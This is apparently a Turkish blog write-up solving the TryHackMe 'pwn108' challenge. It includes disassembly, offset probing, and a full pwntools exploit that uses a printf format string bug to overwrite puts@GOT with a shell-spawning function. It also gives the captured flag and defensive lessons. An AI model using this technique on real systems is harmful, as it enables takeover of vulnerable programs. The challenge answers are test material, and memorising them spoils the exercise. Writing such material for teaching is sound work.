TRYHACKME TryHackMe PWN108: Format String Açığı ile GOT Overwrite Saldırısı

Navigation

Computer Science

Mathematics

Security

PicoCTF

HackTheBox

TryHackMe

Geometry

Cheatsheet

Sosyal Medya

Güncel Makaleler

Yükleniyor...
Erciyes Uni.
Bilgisayar Muh.
CBFRPRO CBTEAMER CNPEN eMAPT

TryHackMe

TryHackMe PWN108: Format String Açığı ile GOT Overwrite Saldırısı

January 6, 2026

Giriş

Binary exploitation dünyasında format string açıkları, bellek bozulması saldırılarının en zarif örneklerinden birini oluşturur. Bu yazıda TryHackMe platformundaki “pwn108” adlı meydan okumayı çözerken izlediğim adımları, düşünce sürecimi ve elde ettiğim bulguları paylaşacağım. Amacım sadece bayrağı yakalamak değil, aynı zamanda bu tür açıkların nasıl ortaya çıktığını ve neden tehlikeli olduğunu derinlemesine anlamak.


Hedef Tanıma ve İlk Analiz

Her binary exploitation çalışmasında olduğu gibi, ilk adım hedefi tanımaktı. Elimde “pwn108-1644300489260.pwn108” adında bir ELF dosyası vardı. Bu dosyayı çalıştırdığımda karşıma “THM University” temalı bir öğrenci giriş portalı çıktı. Program benden bir isim ve kayıt numarası istiyordu, ardından ekrana öğrenci profilimi ve sınav takvimimi yazdırıyordu.

İlk izlenimim, bunun tipik bir CTF senaryosu olduğuydu: kullanıcı girdisi alan bir program, muhtemelen bir yerlerde güvenlik açığı barındırıyordu. Ama hangi tür açık? Buffer overflow mu? Format string mi? Heap corruption mu? Bunu anlamak için sistematik bir analiz gerekiyordu.

Exploit Chain of Events Bu diyagram, checksec’le başlayıp shell açmaya kadar olan tüm süreci gösteriyor. Her adımda ne yaptığımı ve nasıl ilerlediğimi görebilirsiniz.


Güvenlik Mekanizmalarının Tespiti

Modern binary’lerde çeşitli koruma mekanizmaları bulunur. Bu mekanizmaları anlamadan exploit geliştirmek, karanlıkta ok atmak gibidir. checksec aracıyla binary’nin güvenlik profilini çıkardım:

RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    No PIE

Bu çıktı bana çok şey söylüyordu:

Partial RELRO: Global Offset Table (GOT) yazılabilir durumda. Bu, GOT overwrite saldırısının mümkün olduğu anlamına geliyordu. Full RELRO olsaydı GOT salt okunur olacak ve bu saldırı vektörü kapanacaktı.

Stack Canary: Stack’te bir “kanarya” değeri var. Bu değer, fonksiyon dönerken kontrol ediliyor. Eğer değişmişse, program __stack_chk_fail fonksiyonunu çağırarak kendini sonlandırıyor. Klasik buffer overflow saldırıları için bu ciddi bir engel.

NX Enabled: Stack bölgesi çalıştırılabilir değil. Yani stack’e shellcode yazıp çalıştıramam. Return-Oriented Programming (ROP) veya başka teknikler gerekecek.

No PIE: İşte bu çok önemli! Position Independent Executable devre dışı. Bu, binary’nin her çalıştırıldığında aynı bellek adreslerine yükleneceği anlamına geliyor. Fonksiyon adresleri, GOT adresleri hep sabit. Exploit geliştirirken bu adresleri doğrudan kullanabilirim.

Ayrıca file komutuyla binary’nin 64-bit x86-64 mimarisi için derlendiğini ve dinamik olarak bağlandığını doğruladım.


Kritik Stringler ve Fonksiyonlar

Binary içindeki stringleri ve fonksiyonları incelemek, saldırı yüzeyini anlamak için hayati önem taşır. strings komutunu kullanarak dikkat çekici kalıpları aradım:

strings ./pwn108-1644300489260.pwn108 | grep -i "flag\|bin\|sh\|system\|exec"

Sonuç heyecan vericiydi:

system
/bin/sh

Binary içinde hem system fonksiyonu hem de /bin/sh stringi mevcut! Bu, programın bir yerlerinde system("/bin/sh") çağrısı yapma potansiyeli olduğunu gösteriyordu. Belki de bir “win function” vardı ve benim görevim bu fonksiyona atlamaktı.


Disassembly Analizi

Gerçek saldırı vektörünü bulmak için assembly kodunu incelemem gerekiyordu. objdump ile binary’yi disassemble ettim ve fonksiyonları tek tek analiz ettim.

holidays() Fonksiyonu - Kutsal Kase

000000000040123b <holidays>:
  40123b:   push   %rbp
  40123c:   mov    %rsp,%rbp
  ...
  40127a:   lea    0xeee(%rip),%rax        # 40216f - "/bin/sh" adresi
  401281:   mov    %rax,%rdi
  401284:   call   401050 <system@plt>
  ...
  40129f:   ret

İşte bu! holidays fonksiyonu tam olarak aradığım şeydi. Fonksiyon, 0x40216f adresindeki stringi (/bin/sh) RDI register’ına yüklüyor ve system@plt fonksiyonunu çağırıyor. Yani holidays() fonksiyonuna atlayabilirsem, doğrudan shell elde edecektim.

Bu tür fonksiyonlara CTF dünyasında “win function” denir. Programın normal akışında çağrılmazlar ama bir şekilde kontrolü ele geçirip bu fonksiyona atlarsanız, işiniz biter.

main() Fonksiyonu - Açığın Kaynağı

00000000004012a0 <main>:
  ...
  401300:   lea    -0x90(%rbp),%rax      # İsim buffer'ı
  401307:   mov    $0x12,%edx            # 18 byte oku
  ...
  401319:   call   401070 <read@plt>

  401332:   lea    -0x70(%rbp),%rax      # Kayıt no buffer'ı
  401336:   mov    $0x64,%edx            # 100 byte oku
  ...
  401348:   call   401070 <read@plt>

  40138e:   lea    -0x70(%rbp),%rax      # Kayıt no buffer'ını al
  401392:   mov    %rax,%rdi             # printf'e argüman olarak ver
  40139a:   call   401060 <printf@plt>   # ← AÇIK BURADA!

Dikkatli bakınca açık gözler önüne seriliyor: printf(buffer) çağrısı yapılıyor! Kullanıcının girdiği kayıt numarası, format string’i olmadan doğrudan printf‘e veriliyor. Bu klasik bir format string açığı.

Güvenli kullanım şöyle olmalıydı:

printf("%s", buffer);  // Güvenli

Ama kodda şu var:

printf(buffer);  // Tehlikeli!

Format String Açıkları: Temel Kavramlar

Format string açıkları, printf ailesi fonksiyonların yanlış kullanımından kaynaklanır. Bu açıkları anlamak için önce printf’in nasıl çalıştığını bilmek gerekir.

printf fonksiyonu, format string içindeki özel karakterleri yorumlayarak çıktı üretir. Örneğin:

printf("Sayı: %d, Adres: %p", 42, ptr);

Burada %d bir tamsayı, %p ise bir pointer bekler. Peki ya format string kullanıcıdan geliyorsa?

char buffer[100];
read(0, buffer, 100);
printf(buffer);  // Kullanıcı "%p %p %p" yazarsa ne olur?

Kullanıcı %p %p %p yazarsa, printf stack’teki değerleri okumaya başlar! Çünkü printf, verilen format specifier’lar için argüman bekler, ama argüman verilmemiştir. Bu durumda stack’teki sıradaki değerleri kullanır.

Daha da tehlikelisi %n format specifier’ıdır. Bu specifier, şimdiye kadar yazılan karakter sayısını, verilen adrese yazar. Yani:

int count;
printf("Hello%n", &count);  // count = 5 olur

Eğer biz adresi kontrol edebiliyorsak ve %n kullanabiliyorsak, belleğin herhangi bir yerine istediğimiz değeri yazabiliriz. Bu, format string açıklarını son derece güçlü kılar.

Stack Memory Layout Stack’in yapısı böyle görünüyor. En üstte return address var, sonra canary, en altta da bizim kontrol ettiğimiz buffer’lar. printf bu buffer’ı format string olarak yorumlayınca işler karışıyor.


Stack Offset’ini Bulmak

Format string exploiti için kritik bir bilgi, kontrol ettiğimiz verinin stack’te kaçıncı pozisyonda olduğudur. Bunu bulmak için sistematik testler yaptım:

echo -e 'AAAAAAAA\nBBBBBBBBCCCCCCCC%6$p.%7$p.%8$p.%9$p' | ./pwn108

Çıktı:

Register no  : CCCCCCC0x4141414141414141.0x424242424242420a.0x4342.0x10

0x4141414141414141 değeri “AAAAAAAA” stringinin ASCII karşılığı. Bu değer 6. pozisyonda (%6$p) görünüyor. Yani isim alanına yazdığım veri, stack’te 6. argüman pozisyonunda yer alıyor.

Bu bilgi altın değerinde çünkü artık:

  1. İsim alanına hedef adresi yazabilirim
  2. Kayıt numarası alanında %6$n kullanarak o adrese yazabilirim

GOT Overwrite Stratejisi

Saldırı planım şuydu:

  1. İsim alanına puts@GOT adresini yaz (0x404018)
  2. Kayıt numarası alanında format string kullanarak bu adrese holidays fonksiyonunun adresini (0x40123b) yaz
  3. Program akışında puts çağrıldığında, aslında holidays çağrılacak ve shell açılacak

GOT (Global Offset Table), dinamik olarak bağlanan fonksiyonların adreslerini tutan bir tablodur. Program bir library fonksiyonunu ilk çağırdığında, linker gerçek adresi GOT’a yazar. Sonraki çağrılarda program doğrudan GOT’taki adresi kullanır.

Biz GOT’taki puts adresini holidays adresiyle değiştirirsek, program puts çağırdığını sanırken aslında holidays çağıracak!

GOT Overwrite Mechanism İşte sihir burada gerçekleşiyor! Soldaki tablo exploit öncesi, sağdaki exploit sonrası durumu gösteriyor. puts fonksiyonunun adresi holidays’e işaret edince program “Merhaba” yazdıracağını sanıyor ama aslında bize shell açıyor.


Exploit Geliştirme Süreci

İlk exploit denemelerim başarısız oldu. Format string exploitleri hassas işlerdir; küçük bir hata bile programın çökmesine neden olabilir.

İlk Deneme: %n ile Doğrudan Yazma

payload = f"%{holidays}c%6$n".encode()  # holidays = 4198971

Bu yaklaşım 4 byte yazdı ama 64-bit sistemde GOT girişi 8 byte. Üst byteler çöp değerlerle doldu ve program çöktü.

İkinci Deneme: %hn ile 2’şer Byte Yazma

low = holidays & 0xffff         # 0x123b = 4667
high = (holidays >> 16) & 0xffff # 0x0040 = 64
payload = f"%{high}c%7$hn%{low - high}c%6$hn".encode()

Bu da çalışmadı. Bellek düzeni beklediğim gibi değildi.

Başarılı Deneme: %ln ile 8 Byte Yazma

Sonunda %ln format specifier’ını keşfettim. Bu, “long” yani 8 byte yazma işlemi yapıyor:

from pwn import *

HOST = "10.10.176.94"
PORT = 9008

puts_got = 0x404018
holidays = 0x40123b  # 4198971 decimal

p = remote(HOST, PORT)

p.recvuntil(b"name]:")
name_payload = p64(puts_got)  # 8 byte adres
p.sendline(name_payload)

p.recvuntil(b"Reg No]:")
payload = f"%{holidays}c%6$ln".encode()
p.sendline(payload)

p.sendline(b"cat flag.txt")
p.interactive()

Bu exploit şöyle çalışıyor:

  1. İsim alanına puts@GOT adresi yazılıyor (little-endian formatında)
  2. Kayıt numarası alanında %4198971c ile 4198971 karakter yazdırılıyor (çoğu boşluk)
  3. %6$ln ile bu sayı (4198971 = 0x40123b) stack’teki 6. pozisyondaki adrese (puts@GOT) yazılıyor
  4. Bir sonraki puts çağrısı artık holidays fonksiyonunu çalıştırıyor
  5. Shell açılıyor!

Bayrak Yakalandı!

THM{7urN3d_puts_in70_win}

Bayrak, tam da yaptığımız şeyi özetliyor: puts fonksiyonunu “win” fonksiyonuna dönüştürdük!


Öğrenilen Dersler

Geliştiriciler İçin

  1. Asla kullanıcı girdisini doğrudan printf’e vermeyin. Her zaman printf("%s", user_input) formatını kullanın.

  2. Compiler uyarılarını ciddiye alın. Modern derleyiciler -Wformat-security bayrağıyla bu tür hataları tespit edebilir.

  3. Full RELRO kullanın. Derleme sırasında -Wl,-z,relro,-z,now bayrakları GOT’u salt okunur yapar.

  4. ASLR ve PIE’yi etkinleştirin. Sabit adresler, saldırganın işini kolaylaştırır.

Güvenlik Araştırmacıları İçin

  1. Sistematik analiz şart. checksec, strings, objdump gibi araçlarla binary’yi iyice tanıyın.

  2. Stack offset’ini bulmak kritik. Format string exploitlerinde bu bilgi olmadan ilerleme sağlanamaz.

  3. Farklı format specifier’ları deneyin. %n, %hn, %ln farklı boyutlarda yazma yapar. Duruma göre doğru olanı seçin.

  4. GOT overwrite güçlü bir tekniktir. Partial RELRO durumunda, herhangi bir library fonksiyonunu istediğiniz fonksiyona yönlendirebilirsiniz.


Sonuç

Bu challenge, format string açıklarının ne kadar tehlikeli olabileceğini gözler önüne serdi. Tek bir printf(buffer) çağrısı, tüm programın kontrolünü ele geçirmemize yol açtı. Üstelik modern koruma mekanizmalarından stack canary bile bizi durduramadı çünkü stack’i taşırmadık; sadece printf’in meşru özelliklerini kötüye kullandık.

Binary exploitation, sabır ve sistematik düşünme gerektiren bir alan. Her başarısız deneme, sistemin nasıl çalıştığı hakkında yeni bilgiler sağlar. Bu yazıyı okuyan herkesin kendi lab ortamında bu teknikleri denemesini ve öğrenme sürecinin tadını çıkarmasını tavsiye ederim.


Kaynaklar ve İleri Okuma

  • LiveOverflow’un Format String videoları
  • “Hacking: The Art of Exploitation” - Jon Erickson
  • CTFtime writeup arşivleri
  • GDB ile debugging pratikleri
Paylaş

Yorumlar

🔔
Yeni yazılardan haberdar ol! Bildirim al, hiçbir yazıyı kaçırma.